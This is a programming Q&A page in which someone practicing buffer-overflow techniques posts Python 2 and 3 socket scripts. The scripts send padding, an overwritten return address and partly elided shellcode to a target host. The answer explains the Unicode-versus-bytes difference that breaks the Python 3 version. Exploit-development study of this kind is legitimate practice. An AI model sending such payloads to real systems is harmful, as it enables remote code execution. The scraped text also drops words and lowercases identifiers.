python 3.x - Difference between Python3 and Python2 - socket.send data -

python 3.x - Difference between Python3 and Python2 - socket.send data -

i'm practicing buffer-overflow techniques , came across odd issue sending socked data.

i have 2 identical codes, except fact in python3 code, changed sock.send encode string (in python2 don't need that)

python2 code:

import socket,sys sock = socket.socket(socket.af_inet, socket.sock_stream) sock.connect ((sys.argv[1], 10000)) buffer = "a"*268 buffer += "\x70\xfb\x22\x00" #payload: buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" ... "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5") sock.send (buffer) sock.close

python 3 code:

import socket,sys sock = socket.socket(socket.af_inet, socket.sock_stream) sock.connect ((sys.argv[1], 10000)) buffer = "a"*268 buffer += "\x70\xfb\x22\x00" #payload: buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" ... "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5") sock.send (buffer.encode()) sock.close

i send buffer , check eip/sep values immunity debugger , see i'm getting different values between python2 code , python3 code. how possible??

the buffer same in both of them eip/sep in debugger should same.

in other words, server point of view(which gets socket-data) looks gets different info construction or that.

any ideas?

thanks.

your server , debugger right - buffer content not same.

in both python 2 , 3, if write buffer = "a"*268, type of buffer str. however, str represents is different in 2 versions.

in python 2, str array of bytes. in python 3, it's sequence of human readable characters, not bytes (what called "unicode string" in python 2)

if farther .encode(), you'll translate sequence of characters sequence of bytes, using utf-8. "changes content" of string, speak

what wanted buffer = b"a"*268, utilize bytes instead of str. you'll need prefix concatenated byte sequences b, too

sockets python-3.x buffer-overflow